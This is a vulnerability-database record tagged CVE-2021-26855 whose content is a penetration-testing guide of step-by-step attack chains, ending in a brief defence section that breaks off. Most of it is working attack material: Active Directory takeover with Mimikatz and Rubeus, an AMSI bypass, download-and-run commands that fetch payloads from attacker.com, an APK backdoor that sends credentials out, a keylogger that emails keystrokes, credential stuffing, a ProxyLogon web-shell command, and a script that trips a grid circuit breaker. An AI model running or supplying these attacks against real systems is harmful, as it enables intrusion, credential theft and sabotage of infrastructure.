{"uuid": "610a6e73-fbc3-46f4-bbbc-66e5ec65f409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26855", "type": "seen", "source": "https://gist.github.com/bbrk364/668a69812b0cfe4bac2f698ddef34079", "content": "# Advanced Penetration Testing Scenarios & Attack Chains\n\nComprehensive attack scenarios covering network, web, mobile, physical, and OT security with detailed exploitation chains, tools, methodologies, and defense strategies for advanced penetration testing and red team exercises.\n\n---\n\n## Network Attack Scenarios\n\n### **Scenario #1: Complete Domain Compromise Chain**\n\n**Attack Chain:** `LLMNR Poisoning \u2192 AS-REP Roasting \u2192 ForceChangePassword \u2192 GenericWrite \u2192 Password Spraying \u2192 RunForrestRun \u2192 GPO Abuse \u2192 MSSQL \u2192 Domain Trust Abuse`\n\n#### **Step-by-Step Exploitation:**\n\n**1. LLMNR/NBT-NS Poisoning:**\n```bash\n# Using Responder\nsudo responder -I eth0 -w -r -d\n\n# Or using Inveigh\nImport-Module .\\Inveigh.ps1\nInvoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y\n\n# Capture NTLMv2 hashes\n# Wait for authentication attempts\n# Crack hashes with hashcat\nhashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**2. AS-REP Roasting:**\n```bash\n# Identify users with Kerberos pre-authentication disabled\npython3 GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -output hashes.asreproast\n\n# Or using Rubeus\n.\\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt\n```\n\n**3. ForceChangePassword Abuse:**\n```powershell\n# Using PowerView\nImport-Module .\\PowerView.ps1\n\n# Check for ForceChangePassword rights\nGet-DomainObjectAcl -Identity targetuser | ? {$_.ActiveDirectoryRights -match \"WriteProperty\" -and $_.SecurityIdentifier -match \"S-1-5-21-.*-.*-.*-.*\"}\n\n# Set new password for user\n$newpass = ConvertTo-SecureString \"NewPassword123!\" -AsPlainText -Force\nSet-DomainUserPassword -Identity targetuser -AccountPassword $newpass\n\n# Or using Set-DomainUserPassword from PowerView\n```\n\n**4. GenericWrite Exploitation:**\n```powershell\n# Check for GenericWrite permissions\nGet-DomainObjectAcl -Identity targetuser | ? {$_.ActiveDirectoryRights -match \"GenericWrite\"}\n\n# Abuse with PowerView\n# Add user to privileged group\nAdd-DomainGroupMember -Identity \"Domain Admins\" -Members targetuser\n\n# Or set SPN for Kerberoasting\nSet-DomainObject -Identity targetuser -SET @{serviceprincipalname='none/existing'}\n.\\Rubeus.exe kerberoast /user:targetuser /outfile:hashes.txt\n```\n\n**5. Password Spraying:**\n```bash\n# Using CrackMapExec\ncrackmapexec smb targets.txt -u users.txt -p 'Spring2024!' --continue-on-success\n\n# Using DomainPasswordSpray\nImport-Module .\\DomainPasswordSpray.ps1\nInvoke-DomainPasswordSpray -UserList users.txt -Password 'Password123!' -Domain domain.local\n\n# Using Rubeus\n.\\Rubeus.exe brute /password:Password123! /noticket\n```\n\n**6. RunForrestRun.exe Privilege Escalation:**\n```powershell\n# Upload RunForrestRun.exe to compromised machine\n# Execute to spawn privileged process\n.\\RunForrestRun.exe powershell.exe\n\n# Or create service\nsc create \"WindowsUpdate\" binPath= \"C:\\temp\\RunForrestRun.exe cmd.exe\" start= auto\nsc start WindowsUpdate\n```\n\n**7. GPO Abuse:**\n```powershell\n# Using SharpGPOAbuse\n.\\SharpGPOAbuse.exe --AddComputerTask --TaskName \"Update\" --Author DOMAIN\\user --Command \"cmd.exe\" --Arguments \"/c net user hacker Password123! /add\" --GPOName \"VulnerableGPO\"\n\n# Or using PowerView\nNew-GPOImmediateTask -TaskName \"Update\" -Command \"cmd.exe\" -CommandArguments \"/c net localgroup administrators user /add\" -GPODisplayName \"Default Domain Policy\"\n```\n\n**8. MSSQL Service Abuse:**\n```powershell\n# Using PowerUpSQL\nImport-Module .\\PowerUpSQL.ps1\n\n# Find SQL instances\nGet-SQLInstanceDomain\n\n# Check for xp_cmdshell\nInvoke-SQLCmd -Query \"EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE\" -Instance \"sqlserver.domain.local\"\n\n# Execute commands\nInvoke-SQLCmd -Query \"EXEC xp_cmdshell 'whoami'\" -Instance \"sqlserver.domain.local\"\n\n# Or escalate via linked servers\nGet-SQLServerLinkCrawl -Instance \"sqlserver.domain.local\" -Query \"EXEC master..xp_cmdshell 'whoami'\"\n```\n\n**9. Domain Trust Abuse:**\n```powershell\n# Enumerate trusts\nGet-DomainTrust\nGet-DomainTrustMapping\n\n# Using Mimikatz for trust attacks\nmimikatz # lsadump::trust /patch\nmimikatz # lsadump::dcsync /domain:child.domain.local /user:krbtgt\n\n# Golden ticket for child domain\nmimikatz # kerberos::golden /user:Administrator /domain:child.domain.local /sid:S-1-5-21... /krbtgt:HASH /sids:S-1-5-21...-519 /ptt\n```\n\n### **Scenario #2: Service-Based Privilege Escalation Chain**\n\n**Attack Chain:** `Service Permission \u2192 ForceChangePassword \u2192 ACL Abuse \u2192 SQL Instance Abuse \u2192 Service Abuse \u2192 Pass-the-Ticket \u2192 Golden Ticket`\n\n#### **Step-by-Step Exploitation:**\n\n**1. Service Permission Enumeration:**\n```powershell\n# Check for vulnerable services\n.\\accesschk.exe /accepteula -uwcqv \"Authenticated Users\" *\n.\\accesschk.exe -ucqv * /accepteula\n\n# Using PowerUp\nImport-Module .\\PowerUp.ps1\nGet-ModifiableService\n\n# Or manually check\nGet-WmiObject win32_service | Select Name, PathName, StartName | Where {$_.PathName -like \"* *\"}\n```\n\n**2. Service Binary Replacement:**\n```powershell\n# Replace service binary\nsc config \"VulnerableService\" binPath= \"C:\\temp\\malicious.exe\"\n\n# Or use PowerUp\nWrite-ServiceBinary -ServiceName \"VulnerableService\" -UserName \"NT AUTHORITY\\SYSTEM\"\n\n# Restart service\nsc stop VulnerableService\nsc start VulnerableService\n```\n\n**3. ACL Abuse for Privilege Escalation:**\n```powershell\n# Check for interesting ACLs\nImport-Module .\\PowerView.ps1\n\n# Find users with GenericAll/WriteDACL\nGet-DomainObjectAcl -SearchBase \"CN=Computers,DC=domain,DC=local\" | ? {$_.ActiveDirectoryRights -match \"GenericAll|WriteDacl|WriteOwner\"}\n\n# Abuse GenericAll on computer object\nAdd-DomainObjectAcl -TargetIdentity \"COMPUTER$\" -PrincipalIdentity user -Rights All\n\n# Then use RBCD\nSet-DomainObject -Identity \"COMPUTER$\" -Set @{'msds-allowedtoactonbehalfofotheridentity'='...'}\n```\n\n**4. SQL Instance Lateral Movement:**\n```powershell\n# Using PowerUpSQL\nGet-SQLInstanceDomain -Verbose\n\n# Check for sysadmin access\nGet-SQLServerLinkCrawl -Instance \"sqlserver.domain.local\" -Verbose\n\n# Enable xp_cmdshell and execute\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE\"\n\n# Execute commands on SQL server\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"EXEC xp_cmdshell 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/payload.ps1'')'\"\n```\n\n**5. Pass-the-Ticket Attack:**\n```powershell\n# Using Mimikatz\nmimikatz # sekurlsa::tickets /export\n\n# Or using Rubeus\n.\\Rubeus.exe dump /nowrap\n\n# Pass the ticket\n.\\Rubeus.exe ptt /ticket:base64_ticket\n\n# Or using Mimikatz\nmimikatz # kerberos::ptt ticket.kirbi\n```\n\n**6. Golden Ticket Creation:**\n```powershell\n# Dump krbtgt hash\nmimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt\n\n# Create golden ticket\nmimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /ptt\n\n# Access domain resources\ndir \\\\dc01.domain.local\\c$\n```\n\n### **Scenario #3: Delegation-Based Attack Chain**\n\n**Attack Chain:** `Always Elevated \u2192 Constrained Delegation \u2192 Unconstrained Delegation Print Bug \u2192 Cross Trust \u2192 MSSQL Service Abuse`\n\n#### **Step-by-Step Exploitation:**\n\n**1. Always Elevated Privileges:**\n```powershell\n# Check for Always Elevated installations\nGet-CimInstance -ClassName Win32_Product | Where Name -like \"*Always*\"\n\n# Or check registry\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name \"LocalAccountTokenFilterPolicy\"\n\n# Abuse via scheduled tasks\nschtasks /create /tn \"Update\" /tr \"C:\\Windows\\System32\\cmd.exe /c net user hacker Password123! /add\" /sc once /st 00:00 /ru SYSTEM\nschtasks /run /tn \"Update\"\n```\n\n**2. Constrained Delegation Abuse:**\n```powershell\n# Find computers with constrained delegation\nGet-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto\n\n# Using Rubeus\n.\\Rubeus.exe s4u /user:serviceaccount /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /altservice:http /ptt\n\n# Or get TGS\n.\\Rubeus.exe s4u /user:serviceaccount /aes256:AES256_HASH /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /ptt\n```\n\n**3. Unconstrained Delegation & Print Bug:**\n```powershell\n# Find computers with unconstrained delegation\nGet-DomainComputer -Unconstrained | Select-Object samaccountname\n\n# Using Rubeus for printer bug\n.\\Rubeus.exe monitor /interval:5 /filteruser:DC01$\n\n# On another machine, force authentication\n.\\SpoolSample.exe dc01.domain.local attacker.domain.local\n\n# Extract tickets from memory\nmimikatz # sekurlsa::tickets /export\n```\n\n**4. Cross Trust Attacks:**\n```powershell\n# Enumerate trust relationships\nGet-DomainTrustMapping\n\n# Check for SID filtering\nGet-DomainTrust -Domain external.domain.local | Select-Object SourceName, TargetName, SidFilteringQuarantined\n\n# If SID filtering disabled, use SID History\n# Create golden ticket with SID History\nmimikatz # kerberos::golden /user:Administrator /domain:child.domain.local /sid:SID /sids:S-1-5-21...-519 /krbtgt:HASH /ptt\n```\n\n**5. MSSQL Trusted Link Abuse:**\n```powershell\n# Crawl linked servers\nGet-SQLServerLinkCrawl -Instance \"sqlserver.domain.local\" -Verbose\n\n# Execute commands through chain\n$query = \"\nSELECT * FROM OPENQUERY(\\\"LINKEDSERVER\\\", \n    'SELECT * FROM OPENQUERY(\\\"ANOTHERLINK\\\", \n        ''EXEC master..xp_cmdshell \\\"whoami\\\"'')'\n)\"\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query $query\n```\n\n### **Scenario #4: AMSI Bypass to Domain Compromise**\n\n**Attack Chain:** `Bypass AMSI \u2192 Always Elevated \u2192 Constrained Delegation \u2192 Pass-the-Ticket \u2192 SQL Instance Abuse \u2192 GPO Abuse \u2192 DCSync Attack`\n\n#### **Step-by-Step Exploitation:**\n\n**1. AMSI Bypass:**\n```powershell\n# Common AMSI bypass techniques\n# Method 1: Patch AMSI\n[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n\n# Method 2: Memory patch\n$win32 = @\"\nusing System;\nusing System.Runtime.InteropServices;\npublic class Win32 {\n    [DllImport(\"kernel32\")]\n    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n    [DllImport(\"kernel32\")]\n    public static extern IntPtr LoadLibrary(string name);\n    [DllImport(\"kernel32\")]\n    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);\n}\n\"@\n\nAdd-Type $win32\n$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary(\"amsi.dll\"), \"AmsiScanBuffer\")\n[Win32]::VirtualProtect($ptr, [uint32]5, 0x40, [ref]0)\n$buf = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)\n[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)\n```\n\n**2. Always Elevated Service Abuse:**\n```powershell\n# Find Always Elevated services\nGet-WmiObject -Class Win32_Service | Where-Object {$_.PathName -like \"*Always*\"} | Select Name, PathName, StartName\n\n# Replace service binary\nsc config \"AlwaysElevatedService\" binPath= \"C:\\temp\\malicious.exe\"\nsc stop AlwaysElevatedService\nsc start AlwaysElevatedService\n```\n\n**3. Constrained Delegation Exploitation:**\n```powershell\n# Using Rubeus\n.\\Rubeus.exe asktgt /user:serviceaccount /rc4:HASH /domain:domain.local /outfile:service.ticket\n\n# Get service ticket for CIFS\n.\\Rubeus.exe s4u /ticket:service.ticket /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /altservice:http /ptt\n```\n\n**4. SQL Instance Privilege Escalation:**\n```powershell\n# Check for sysadmin role\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"SELECT IS_SRVROLEMEMBER('sysadmin')\"\n\n# If sysadmin, enable xp_cmdshell\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell', 1;\nRECONFIGURE\"\n\n# Execute commands\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"EXEC xp_cmdshell 'whoami'\"\n```\n\n**5. GPO-Based Persistence:**\n```powershell\n# Create malicious scheduled task via GPO\n.\\SharpGPOAbuse.exe --AddComputerTask --TaskName \"WindowsUpdate\" --Author \"DOMAIN\\user\" --Command \"cmd.exe\" --Arguments \"/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\" --GPOName \"Default Domain Policy\"\n\n# Or using PowerView\nNew-GPOImmediateTask -TaskName \"Update\" -Command \"powershell.exe\" -CommandArguments \"-ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\" -GPODisplayName \"Default Domain Policy\"\n```\n\n**6. DCSync Attack:**\n```powershell\n# Using Mimikatz\nmimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt\nmimikatz # lsadump::dcsync /domain:domain.local /user:administrator\n\n# Using secretsdump.py from Impacket\npython3 secretsdump.py domain.local/user:password@dc01.domain.local\n\n# Using PowerView\nInvoke-DCSync -PWDumpFormat -Users @(\"administrator\", \"krbtgt\")\n```\n\n---\n\n## Web Application Attack Scenarios\n\n### **Scenario #1: SQLi to Root Chain**\n\n**Attack Chain:** `SQL Injection \u2192 RCE \u2192 Capabilities Abuse`\n\n#### **Step-by-Step Exploitation:**\n\n**1. SQL Injection Discovery:**\n```bash\n# Basic SQLi testing\nsqlmap -u \"http://target.com/page?id=1\" --batch\n\n# Time-based blind SQLi\nsqlmap -u \"http://target.com/search\" --data=\"query=test\" --technique=T --batch\n\n# Union-based SQLi\nsqlmap -u \"http://target.com/product/1\" --union-cols=3 --batch\n```\n\n**2. Database Enumeration:**\n```bash\n# Get database version\nsqlmap -u \"http://target.com/page?id=1\" --banner\n\n# List databases\nsqlmap -u \"http://target.com/page?id=1\" --dbs\n\n# List tables\nsqlmap -u \"http://target.com/page?id=1\" -D appdb --tables\n\n# Dump sensitive data\nsqlmap -u \"http://target.com/page?id=1\" -D appdb -T users --dump\n```\n\n**3. File System Access:**\n```bash\n# Read files (MySQL)\nsqlmap -u \"http://target.com/page?id=1\" --file-read=\"/etc/passwd\"\n\n# Write files (MySQL)\nsqlmap -u \"http://target.com/page?id=1\" --file-write=\"/tmp/shell.php\" --file-dest=\"/var/www/html/shell.php\"\n\n# OS command execution\nsqlmap -u \"http://target.com/page?id=1\" --os-shell\n```\n\n**4. Web Shell Upload:**\n```php\n\n```\n\n**5. Capabilities Abuse for Privilege Escalation:**\n```bash\n# Check for SUID binaries\nfind / -perm -4000 -type f 2>/dev/null\n\n# Check capabilities\ngetcap -r / 2>/dev/null\n\n# Example: Python with CAP_SETUID\npython3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n\n# Example: Perl with capabilities\nperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/bash\";'\n```\n\n### **Scenario #2: XXE to Domain Compromise**\n\n**Attack Chain:** `XXE \u2192 LFI \u2192 RCE \u2192 Service Abuse \u2192 MSSQL Instance Abuse`\n\n#### **Step-by-Step Exploitation:**\n\n**1. XXE Discovery:**\n```xml\n\n\n ]>\n&xxe;\n\n\n\n\n%dtd;\n]>\n&send;\n```\n\n**2. Local File Inclusion via XXE:**\n```xml\n\n\n\n\n%dtd;\n]>\n&exfil;\n\n\n\">\n%all;\n```\n\n**3. RCE via XXE (Expect extension):**\n```xml\n\n\n\n]>\n&cmd;\n```\n\n**4. Service Discovery & Abuse:**\n```bash\n# Network scanning from compromised host\nnmap -sS -p 22,80,443,445,3389,1433,3306 10.0.0.0/24\n\n# Check for MSSQL\n/opt/impacket/examples/mssqlclient.py domain/user:password@10.0.0.10\n\n# Check for SMB shares\nsmbclient -L //10.0.0.10/ -U domain/user%password\n```\n\n**5. MSSQL Instance Exploitation:**\n```sql\n-- Enable xp_cmdshell\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell', 1;\nRECONFIGURE;\n\n-- Execute commands\nEXEC xp_cmdshell 'whoami';\n\n-- Create backdoor user\nEXEC xp_cmdshell 'net user hacker Password123! /add';\nEXEC xp_cmdshell 'net localgroup administrators hacker /add';\n```\n\n---\n\n## Mobile Application Attack Scenarios\n\n### **Scenario #1: APK to Credential Compromise**\n\n**Attack Chain:** `Evil APK \u2192 SQLite Database Access \u2192 Credential Stuffing`\n\n#### **Step-by-Step Exploitation:**\n\n**1. APK Analysis & Reverse Engineering:**\n```bash\n# Decompile APK\napktool d app.apk -o decompiled/\n\n# Extract classes.dex\nunzip app.apk classes.dex\n\n# Convert dex to jar\nd2j-dex2jar.sh classes.dex\n\n# Analyze with JD-GUI or jadx\njadx app.apk\n```\n\n**2. SQLite Database Examination:**\n```bash\n# Find database files in decompiled APK\nfind decompiled/ -name \"*.db\" -o -name \"*.sqlite\" -o -name \"*.db3\"\n\n# Extract database from device\nadb pull /data/data/com.package.app/databases/app.db\n\n# Query database\nsqlite3 app.db\nsqlite> .tables\nsqlite> SELECT * FROM users;\n```\n\n**3. Credential Extraction:**\n```python\nimport sqlite3\nimport hashlib\nimport requests\n\n# Connect to database\nconn = sqlite3.connect('app.db')\ncursor = conn.cursor()\n\n# Extract credentials\ncursor.execute(\"SELECT username, password FROM users\")\ncredentials = cursor.fetchall()\n\n# Try credential stuffing\nfor username, password in credentials:\n    # Try on common services\n    targets = [\n        \"https://mail.service.com/login\",\n        \"https://vpn.company.com/auth\",\n        \"https://admin.portal.com/login\"\n    ]\n    \n    for target in targets:\n        response = requests.post(target, data={\n            'username': username,\n            'password': password\n        })\n        \n        if response.status_code == 200 and \"dashboard\" in response.text:\n            print(f\"[+] Valid credentials: {username}:{password} for {target}\")\n```\n\n**4. Network Traffic Analysis:**\n```bash\n# Intercept mobile app traffic\n# Setup mitmproxy\nmitmproxy -p 8080\n\n# Configure device to use proxy\n# Install mitmproxy certificate\n\n# Analyze API endpoints and authentication\n```\n\n**5. Code Injection via Repackaging:**\n```java\n// Add malicious code to decompiled APK\n// In MainActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    \n    // Original code...\n    \n    // Malicious addition - send credentials to attacker\n    new Thread(new Runnable() {\n        public void run() {\n            try {\n                String credentials = getCredentials();\n                URL url = new URL(\"http://attacker.com/steal\");\n                HttpURLConnection conn = (HttpURLConnection) url.openConnection();\n                conn.setRequestMethod(\"POST\");\n                conn.setDoOutput(true);\n                conn.getOutputStream().write(credentials.getBytes());\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n    }).start();\n}\n```\n\n---\n\n## Physical Security Attack Scenarios\n\n### **Scenario #1: USB to Domain Admin**\n\n**Attack Chain:** `USB Rubber Ducky \u2192 Malware Deployment \u2192 GPO Abuse \u2192 Pass-the-Hash \u2192 Kerberoasting \u2192 Golden Ticket`\n\n#### **Step-by-Step Exploitation:**\n\n**1. USB Rubber Ducky Payload:**\n```bash\n# Ducky Script for initial access\nDELAY 2000\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\"\nENTER\n```\n\n**2. Initial Malware Deployment:**\n```powershell\n# PowerShell payload\n# Download and execute Cobalt Strike beacon\n$url = \"http://attacker.com/beacon.exe\"\n$output = \"$env:TEMP\\svchost.exe\"\nInvoke-WebRequest -Uri $url -OutFile $output\nStart-Process $output -WindowStyle Hidden\n\n# Or Empire agent\nIEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Empire.ps1')\n```\n\n**3. GPO Modification for Persistence:**\n```powershell\n# Check GPO permissions\nGet-DomainObjectAcl -SearchBase \"CN=Policies,CN=System,DC=domain,DC=local\" | Where-Object {$_.SecurityIdentifier -match \"S-1-5-21.*\"}\n\n# Modify GPO to add startup script\n$gpo = Get-DomainGPO -Identity \"Default Domain Policy\"\n$gpo | Set-DomainObject -Set @{gPCFileSysPath=\"\\\\domain.local\\sysvol\\domain.local\\Policies\\{GUID}\\User\\Scripts\\Logon\"}\n```\n\n**4. Pass-the-Hash for Lateral Movement:**\n```bash\n# Using CrackMapExec\ncrackmapexec smb 10.0.0.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\n\n# Using psexec from Impacket\npython3 psexec.py domain/Administrator@10.0.0.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\n```\n\n**5. Kerberoasting:**\n```powershell\n# Using Rubeus\n.\\Rubeus.exe kerberoast /outfile:hashes.txt\n\n# Using Impacket\npython3 GetUserSPNs.py domain.local/user:password -dc-ip 10.0.0.1 -request\n\n# Crack hashes\nhashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt\n```\n\n**6. Golden Ticket Creation:**\n```powershell\n# Dump krbtgt hash\nmimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt\n\n# Create golden ticket\nmimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21... /krbtgt:HASH /ptt\n\n# Access domain controller\ndir \\\\dc01.domain.local\\c$\\\n```\n\n### **Scenario #2: Shoulder Surfing to Domain Persistence**\n\n**Attack Chain:** `Shoulder Surfing \u2192 Malware Installation \u2192 PrintNightmare \u2192 Pass-the-Hash \u2192 Silver Ticket`\n\n#### **Step-by-Step Exploitation:**\n\n**1. Credential Harvesting via Shoulder Surfing:**\n```python\n# Simple keylogger (educational purposes only)\nimport keyboard\nimport smtplib\nfrom threading import Timer\nfrom datetime import datetime\n\nclass Keylogger:\n    def __init__(self, interval, email, password):\n        self.interval = interval\n        self.email = email\n        self.password = password\n        self.log = \"\"\n        \n    def callback(self, event):\n        self.log += event.name\n        \n    def report(self):\n        if self.log:\n            # Send email with captured data\n            server = smtplib.SMTP(\"smtp.gmail.com\", 587)\n            server.starttls()\n            server.login(self.email, self.password)\n            server.sendmail(self.email, self.email, self.log)\n            server.quit()\n        self.log = \"\"\n        Timer(self.interval, self.report).start()\n        \n    def start(self):\n        keyboard.on_release(callback=self.callback)\n        self.report()\n        keyboard.wait()\n```\n\n**2. PrintNightmare Exploitation:**\n```bash\n# Using Impacket's printbug\npython3 printerbug.py domain/user:password@target.domain.local attacker@80\n\n# Or using CVE-2021-1675 exploit\n.\\CVE-2021-1675.ps1\nInvoke-Nightmare -DriverName \"Xerox\" -NewUser \"hacker\" -NewPassword \"Password123!\"\n```\n\n**3. Silver Ticket Creation:**\n```powershell\n# Get service account hash\nmimikatz # sekurlsa::logonpasswords\n\n# Create silver ticket for specific service\nmimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21... /target:sqlserver.domain.local /service:MSSQLSvc /rc4:SERVICE_HASH /ptt\n\n# Access SQL service\npython3 mssqlclient.py -k -no-pass sqlserver.domain.local\n```\n\n---\n\n## OT (Operational Technology) Attack Scenarios\n\n### **Scenario #1: Mail Server to OT Control**\n\n**Attack Chain:** `Mail Server Compromise \u2192 VDI Capabilities Abuse \u2192 SMPTRAP Service Abuse \u2192 DCSync Attack \u2192 Silver Ticket \u2192 Credential Stuffing \u2192 PCTRAN \u2192 Pods Misconfiguration`\n\n#### **Step-by-Step Exploitation:**\n\n**1. Mail Server Initial Access:**\n```bash\n# Common mail server attacks\n# SMTP user enumeration\npython3 smtp-user-enum.py -M VRFY -U users.txt -t mail.server.com\n\n# IMAP/POP3 brute force\nhydra -L users.txt -P passwords.txt imap://mail.server.com\nhydra -L users.txt -P passwords.txt pop3://mail.server.com\n\n# Exchange vulnerabilities\n# ProxyLogon (CVE-2021-26855)\npython3 proxylogon.py mail.server.com -t webshell.aspx\n```\n\n**2. VDI (Virtual Desktop Infrastructure) Abuse:**\n```powershell\n# Check for VDI capabilities\nGet-WmiObject -Class Win32_ComputerSystem | Select-Object Model\n\n# If Citrix or VMware detected\n# Look for published applications\nGet-ChildItem \"C:\\Program Files (x86)\\Citrix\\*\" -Recurse -ErrorAction SilentlyContinue\n\n# Check for saved credentials\ncmdkey /list\n```\n\n**3. SMPTRAP Service Exploitation:**\n```bash\n# SNMP service enumeration\nsnmpwalk -c public -v1 ot.device.com\nsnmpwalk -c private -v1 ot.device.com\n\n# Common SNMP communities in OT:\n# public, private, read, write, admin, monitor\n\n# Write access exploitation\nsnmpset -v1 -c private ot.device.com .1.3.6.1.2.1.1.6.0 s \"HACKED\"\n```\n\n**4. DCSync Attack in OT Domain:**\n```powershell\n# Check for Domain Controller in OT network\nnslookup _ldap._tcp.dc._msdcs.ot.domain.local\n\n# Using Mimikatz for DCSync\nmimikatz # lsadump::dcsync /domain:ot.domain.local /user:krbtgt\nmimikatz # lsadump::dcsync /domain:ot.domain.local /user:administrator\n```\n\n**5. Silver Ticket for OT Services:**\n```powershell\n# Create silver ticket for SCADA/HMI services\nmimikatz # kerberos::golden /user:OTAdmin /domain:ot.domain.local /sid:SID /target:scada.ot.domain.local /service:Vendorservice /rc4:SERVICE_HASH /ptt\n\n# Access SCADA system\n# Using vendor-specific client with captured credentials\n```\n\n**6. Credential Stuffing Across OT Systems:**\n```python\nimport requests\nimport paramiko\n\n# Common OT default credentials\ndefault_creds = [\n    (\"admin\", \"admin\"),\n    (\"administrator\", \"password\"),\n    (\"root\", \"root\"),\n    (\"guest\", \"guest\"),\n    (\"operator\", \"operator\"),\n    (\"tech\", \"tech\"),\n    (\"service\", \"service\"),\n]\n\n# Try across common OT protocols and ports\ntargets = [\n    (\"scada.ot.local\", 502, \"modbus\"),\n    (\"plc.ot.local\", 102, \"s7\"),\n    (\"hmi.ot.local\", 3389, \"rdp\"),\n    (\"rtu.ot.local\", 22, \"ssh\"),\n]\n\nfor target, port, protocol in targets:\n    for username, password in default_creds:\n        if protocol == \"ssh\":\n            try:\n                ssh = paramiko.SSHClient()\n                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n                ssh.connect(target, port=port, username=username, password=password, timeout=5)\n                print(f\"[+] SSH credentials valid: {username}:{password}@{target}:{port}\")\n                ssh.close()\n            except:\n                pass\n```\n\n**7. PCTRAN Protocol Exploitation:**\n```python\n# PCTRAN (Power Control Transmission) protocol attacks\n# Often used in power grid systems\n\nimport socket\n\ndef pctran_command(target, command):\n    \"\"\"Send PCTRAN command to target\"\"\"\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target, 2404))  # Common PCTRAN port\n    \n    # Craft malicious PCTRAN packet\n    packet = b\"\\x02\"  # STX\n    packet += command.encode()\n    packet += b\"\\x03\"  # ETX\n    \n    sock.send(packet)\n    response = sock.recv(1024)\n    sock.close()\n    return response\n\n# Example: Trip circuit breaker\nresponse = pctran_command(\"gridcontroller.ot.local\", \"TRIP CB 12\")\n```\n\n**8. Kubernetes Pod Misconfiguration in OT:**\n```bash\n# Check for exposed Kubernetes API in OT network\nnmap -p 6443,8080,8443 10.0.0.0/24\n\n# If found, check for misconfigurations\nkubectl get pods --all-namespaces\nkubectl get secrets --all-namespaces\n\n# Common OT pod misconfigurations:\n# 1. Running as root\n# 2. Privileged containers\n# 3. Host network access\n# 4. Host PID namespace\n# 5. Missing resource limits\n\n# Example exploit - escape to host\ncat > malicious-pod.yaml << EOF\napiVersion: v1\nkind: Pod\nmetadata:\n  name: malicious-pod\nspec:\n  hostPID: true\n  containers:\n  - name: malicious\n    image: alpine\n    command: [\"nsenter\", \"--mount=/proc/1/ns/mnt\", \"--\", \"bash\"]\n    securityContext:\n      privileged: true\nEOF\n\nkubectl apply -f malicious-pod.yaml\n```\n\n---\n\n## Defense & Mitigation Strategies\n\n### **Network Defense**\n\n```bash\n# Monitor for LLMNR/NBT-NS poisoning\n# Disable LLMNR and NBT-NS\n# Use PowerShell logging\nGet-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Select-Object TimeCreated, Message\n\n# Monitor for Kerberoasting\n# Set account: \"Account is sensitive and cannot be delegated\"\n# Monitor Event ID 4769 with encryption type 0x17\n```\n\n### **Web Application Defense**\n\n```bash\n# SQL Injection prevention\n# Use parameterized queries\n# Implement WAF\n# Regular security testing\n\n# XXE prevention\n# Disable external entity processing\n# Use secure XML parsers\n# Input validation\n```\n\n### **Physical Security Defense**\n\n```bash\n# USB device control\n# Implement device whitelisting\n# Disable AutoRun\n# Use Group Policy to restrict USB devices\n\n# Monitor for unusual GPO changes\n# Use 